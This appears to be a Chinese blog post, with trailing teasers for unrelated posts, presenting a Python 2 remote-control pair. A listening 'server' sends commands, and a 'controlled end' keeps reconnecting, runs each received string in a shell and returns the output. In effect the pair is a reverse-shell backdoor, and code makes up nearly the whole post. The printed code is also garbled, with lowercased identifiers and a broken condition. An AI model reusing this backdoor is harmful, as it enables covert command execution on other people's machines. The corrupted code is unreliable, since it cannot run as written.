1.技術:管道通訊,流檔案處理,socket基礎
2.tips:
預設ip:127.0.0.1
預設埠:7676
3.**樣例:
服務端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
from os import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketinit():
s = socket.socket(socket.af_inet,socket.sock_stream)
return s
def socketdeal(s,host,port):
s.bind((host,port))
s.listen(1)
def controlmodule(ss,addr):
recv_buffer = ss.recv(20048)
if recv_buffer == "[-]error:server is off" or recv_buffer == "[*]server is off":
print recv_buffer
sys.exit(0)
else:
print recv_buffer
send_buf = raw_input(addr[0]+">")
ss.send(send_buf)
def main():
host = "127.0.0.1"
port = 7676
s = socketinit()
socketdeal(s, host, port)
ss,addr = s.accept()
print "connect from " + addr[0] + ":" + repr(addr[1])
try:
while true:
controlmodule(ss,addr)
except exception as e:
print "[-]connect error"
ss.close()
s.close()
sys.exit(-1)
except keyboardinterrupt:
ss.close()
s.close()
sys.exit(0)
if __name__ == '__main__':
main()
受控端:
#!/usr/bin/env python
# encoding: utf-8
import socket
import sys
import re
import traceback
import tempfile
from os import *
from subprocess import *
reload(sys)
sys.setdefaultencoding("utf-8")
def socketinit():
s = socket.socket(socket.af_inet,socket.sock_stream)
return s
def socketconn(s,host,port):
while true:
try:
s.connect((host,port))
except exception as e:
continue
else:
s.send("welcome sir ~")
break
def string_deal(recv,send):
p_str = re.findall("cd(.*)|(\w):", recv)
if p_str!= and send == "":
if p_str[0][0]!="":
try:
chdir(p_str[0][0].strip())
except exception as e:
flag = -1
else:
flag = 1
else:
try:
chdir(recv)
except exception as e:
#traceback.print_exc()
flag = -1
else:
flag = 1
else:
if send == "":
flag = 1
else:
flag = 0
return flag
def openprocess(s):
try:
while true:
recv_buf = s.recv(2048)
#流檔案技術,防止管道阻塞
out_temp = tempfile.spooledtemporaryfile(bufsize=10*1000)
fileno = out_temp.fileno()
cmd = popen(recv_buf, shell=true,stdin=pipe, stdout=fileno, stderr=stdout)
cmd.wait()
out_temp.seek(0)
send_buf = out_temp.read()
#print len(send_buf)
#輸入命令字串處理識別
flag = string_deal(recv_buf,send_buf)
if flag == 1:
s.send("ok")
elif flag == -1:
s.send("error!!")
else:
s.send(send_buf)
send_buf = ""
except exception as e:
try:
s.send("[-]error:server is off")
except exception as e:
pass
s.close()
sys.exit(-1)
except keyboardinterrupt:
try:
s.send("[*]server is off")
except exception as e:
pass
s.close()
sys.exit(0)
def main():
flag = 0
host = "127.0.0.1"
port = 7676
s = socketinit()
socketconn(s, host, port)
openprocess(s)
if __name__ == '__main__':
main()
python單執行緒網路爬蟲
源程式 以網為例 coding utf8 importrequests importre importsys reload sys sys.setdefaultencoding gb18030 type sys.getfilesystemencoding html requests.get html...
python 單執行緒和多執行緒對比
import time import threading from mythread import mythread def fib x time.sleep 0.0005 if x 2 return 1 return fib x 2 fib x 1 def fac x time.sleep 0.1...
python 簡單執行緒池例項
coding utf 8 import urllib2 import time import socket from datetime import datetime from thread pool import import queue,threading,sys from threading ...